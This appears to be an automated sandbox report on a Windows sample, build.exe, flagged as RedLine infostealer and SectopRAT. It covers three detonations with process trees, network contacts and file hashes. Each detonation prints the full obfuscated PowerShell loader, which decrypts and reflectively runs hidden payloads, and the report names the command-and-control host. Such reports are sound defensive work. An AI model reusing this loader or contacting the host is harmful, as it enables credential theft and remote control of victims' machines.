Malware Analysis Report

2024-09-11 08:41

Sample ID 240510-xbww1aeg28
Target build.exe
SHA256 c34f066c7cb0b738a5c2ffcedcd5ff48b2f8c5247ca38db8739f0c55752318ad
Tags
redline sectoprat cheat execution infostealer persistence rat spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c34f066c7cb0b738a5c2ffcedcd5ff48b2f8c5247ca38db8739f0c55752318ad

Threat Level: Known bad

The file build.exe was found to be: Known bad.

Malicious Activity Summary

redline sectoprat cheat execution infostealer persistence rat spyware trojan

SectopRAT payload

RedLine

RedLine payload

SectopRAT

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Accesses cryptocurrency files/wallets, possible credential harvesting

Adds Run key to start application

Program crash

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Modify Registry
T1112
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-10 18:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 18:41

Reported

2024-05-10 18:43

Platform

win10-20240404-en

Max time kernel

133s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2316 wrote to memory of 4104 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 2316 wrote to memory of 4104 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 4104 wrote to memory of 1164 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4104 wrote to memory of 1164 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4104 wrote to memory of 1164 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 11.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 23bad6dd1951a20924f5046c913d8ff2
SHA1 812500904e0800703382b460c20e0ed3b1ff0b4d
SHA256 03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd
SHA512 5368bbe4046a080dcdc53774a4197f92adf65c640135bbc3a0cae9111d6d8a6779648b4b68ccd1251c4819c1cd043a7ef88efd4d0bf70ed02eab1dc2ca656e91

memory/1164-5-0x0000000073D3E000-0x0000000073D3F000-memory.dmp

memory/1164-8-0x00000000070C0000-0x00000000070F6000-memory.dmp

memory/1164-9-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-10-0x0000000007730000-0x0000000007D58000-memory.dmp

memory/1164-11-0x00000000076B0000-0x00000000076D2000-memory.dmp

memory/1164-12-0x0000000007DD0000-0x0000000007E36000-memory.dmp

memory/1164-13-0x0000000008040000-0x00000000080A6000-memory.dmp

memory/1164-14-0x0000000008180000-0x00000000084D0000-memory.dmp

memory/1164-17-0x00000000080D0000-0x00000000080EC000-memory.dmp

memory/1164-18-0x00000000085D0000-0x000000000861B000-memory.dmp

memory/1164-19-0x00000000088C0000-0x0000000008936000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5ejdd1o.iaf.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/1164-30-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-35-0x000000000A060000-0x000000000A6D8000-memory.dmp

memory/1164-36-0x00000000097E0000-0x00000000097FA000-memory.dmp

memory/1164-37-0x0000000009820000-0x0000000009828000-memory.dmp

memory/1164-38-0x0000000009860000-0x0000000009872000-memory.dmp

memory/1164-39-0x0000000009870000-0x000000000988E000-memory.dmp

memory/1164-42-0x000000000A6E0000-0x000000000ACE6000-memory.dmp

memory/1164-43-0x0000000009940000-0x0000000009952000-memory.dmp

memory/1164-44-0x00000000099E0000-0x0000000009A1E000-memory.dmp

memory/1164-45-0x0000000009B30000-0x0000000009C3A000-memory.dmp

memory/1164-52-0x000000000ACF0000-0x000000000AEB2000-memory.dmp

memory/1164-53-0x000000000B3F0000-0x000000000B91C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpA634.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmpA649.tmp

MD5 cae9079afcb4c379869afa5d34181d8a
SHA1 188e2435c533dd9633f5fcc09f245ddc1a78db2c
SHA256 2be0a96da90da69fbc34b8e7747e89ce57dfc4fb58ed6c79e0fc21cb7c6791b7
SHA512 ff7d863ebd1090219f07eaf2ac493f20b6ed11606e7f2c19536d764e730a8bb426fff26dc3890f0503c12329ea4a6c5d8812a0d1b69c19a29fbb8cb8366bd4fd

C:\Users\Admin\AppData\Local\Temp\tmpA675.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

memory/1164-360-0x000000000B920000-0x000000000BE1E000-memory.dmp

memory/1164-361-0x000000000AF60000-0x000000000AFF2000-memory.dmp

memory/1164-362-0x000000000AF40000-0x000000000AF5E000-memory.dmp

memory/1164-373-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-374-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-400-0x0000000073D3E000-0x0000000073D3F000-memory.dmp

memory/1164-401-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-402-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-403-0x0000000073D30000-0x000000007441E000-memory.dmp

memory/1164-407-0x0000000073D30000-0x000000007441E000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 18:41

Reported

2024-05-10 18:44

Platform

win10v2004-20240508-en

Max time kernel

91s

Max time network

96s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2816 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 2816 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 3560 wrote to memory of 1468 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3560 wrote to memory of 1468 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3560 wrote to memory of 1468 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
BE 2.17.196.65:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 65.196.17.2.in-addr.arpa udp
BE 2.17.196.65:443 www.bing.com tcp
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
US 147.185.221.16:43416 ii-restored.gl.at.ply.gg tcp
US 8.8.8.8:53 16.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 31.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat

MD5 23bad6dd1951a20924f5046c913d8ff2
SHA1 812500904e0800703382b460c20e0ed3b1ff0b4d
SHA256 03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd
SHA512 5368bbe4046a080dcdc53774a4197f92adf65c640135bbc3a0cae9111d6d8a6779648b4b68ccd1251c4819c1cd043a7ef88efd4d0bf70ed02eab1dc2ca656e91

memory/1468-3-0x0000000074BCE000-0x0000000074BCF000-memory.dmp

memory/1468-4-0x00000000028A0000-0x00000000028D6000-memory.dmp

memory/1468-5-0x0000000005030000-0x0000000005658000-memory.dmp

memory/1468-6-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-7-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-8-0x0000000005000000-0x0000000005022000-memory.dmp

memory/1468-9-0x0000000005790000-0x00000000057F6000-memory.dmp

memory/1468-10-0x0000000005800000-0x0000000005866000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4efd2oib.ope.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1468-20-0x0000000005880000-0x0000000005BD4000-memory.dmp

memory/1468-21-0x0000000005D80000-0x0000000005D9E000-memory.dmp

memory/1468-22-0x0000000005DD0000-0x0000000005E1C000-memory.dmp

memory/1468-23-0x00000000075D0000-0x0000000007C4A000-memory.dmp

memory/1468-24-0x0000000006360000-0x000000000637A000-memory.dmp

memory/1468-25-0x0000000006390000-0x0000000006398000-memory.dmp

memory/1468-26-0x0000000006F50000-0x0000000006F62000-memory.dmp

memory/1468-27-0x0000000006F70000-0x0000000006F8E000-memory.dmp

memory/1468-28-0x0000000007C50000-0x0000000008268000-memory.dmp

memory/1468-29-0x0000000007050000-0x0000000007062000-memory.dmp

memory/1468-30-0x00000000070B0000-0x00000000070EC000-memory.dmp

memory/1468-31-0x0000000007230000-0x000000000733A000-memory.dmp

memory/1468-32-0x0000000008440000-0x0000000008602000-memory.dmp

memory/1468-33-0x0000000008B40000-0x000000000906C000-memory.dmp

memory/1468-34-0x0000000009620000-0x0000000009BC4000-memory.dmp

memory/1468-35-0x0000000008610000-0x00000000086A2000-memory.dmp

memory/1468-36-0x00000000086B0000-0x0000000008726000-memory.dmp

memory/1468-37-0x0000000008790000-0x00000000087AE000-memory.dmp

memory/1468-38-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-39-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-40-0x0000000074BC0000-0x0000000075370000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp7B23.tmp

MD5 8f5942354d3809f865f9767eddf51314
SHA1 20be11c0d42fc0cef53931ea9152b55082d1a11e
SHA256 776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea
SHA512 fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

C:\Users\Admin\AppData\Local\Temp\tmp7B49.tmp

MD5 9df444e0de734921d4d96deeeac4b16e
SHA1 31542622ecf896b93d830e21595091aef8742901
SHA256 1d324d34d58165aca7dbf057a7417457776b4e805d60182401a9275fb7920900
SHA512 2de6a0ac09b7a1a21cda31e49c072b097ca1959814c535920a099a9df87e993ba2dfd6cebcb8ec2110efca385bb618f771258575a06736afcfd6cd40a8e1a957

C:\Users\Admin\AppData\Local\Temp\tmp7B74.tmp

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

C:\Users\Admin\AppData\Local\Temp\tmp7B90.tmp

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

C:\Users\Admin\AppData\Local\Temp\tmp7B7A.tmp

MD5 49693267e0adbcd119f9f5e02adf3a80
SHA1 3ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512 b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

C:\Users\Admin\AppData\Local\Temp\tmp7BBB.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

memory/1468-217-0x0000000074BCE000-0x0000000074BCF000-memory.dmp

memory/1468-218-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-219-0x0000000074BC0000-0x0000000075370000-memory.dmp

memory/1468-222-0x0000000074BC0000-0x0000000075370000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-05-10 18:41

Reported

2024-05-10 18:43

Platform

win11-20240426-en

Max time kernel

91s

Max time network

94s

Command Line

"C:\Users\Admin\AppData\Local\Temp\build.exe"

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\build.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2312 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 2312 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\build.exe C:\Windows\SYSTEM32\cmd.exe
PID 1436 wrote to memory of 1780 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1436 wrote to memory of 1780 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1436 wrote to memory of 1780 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\build.exe

"C:\Users\Admin\AppData\Local\Temp\build.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c "build.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1780 -ip 1780

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 2772

Network

Country Destination Domain Proto
US 8.8.8.8:53 ii-restored.gl.at.ply.gg udp
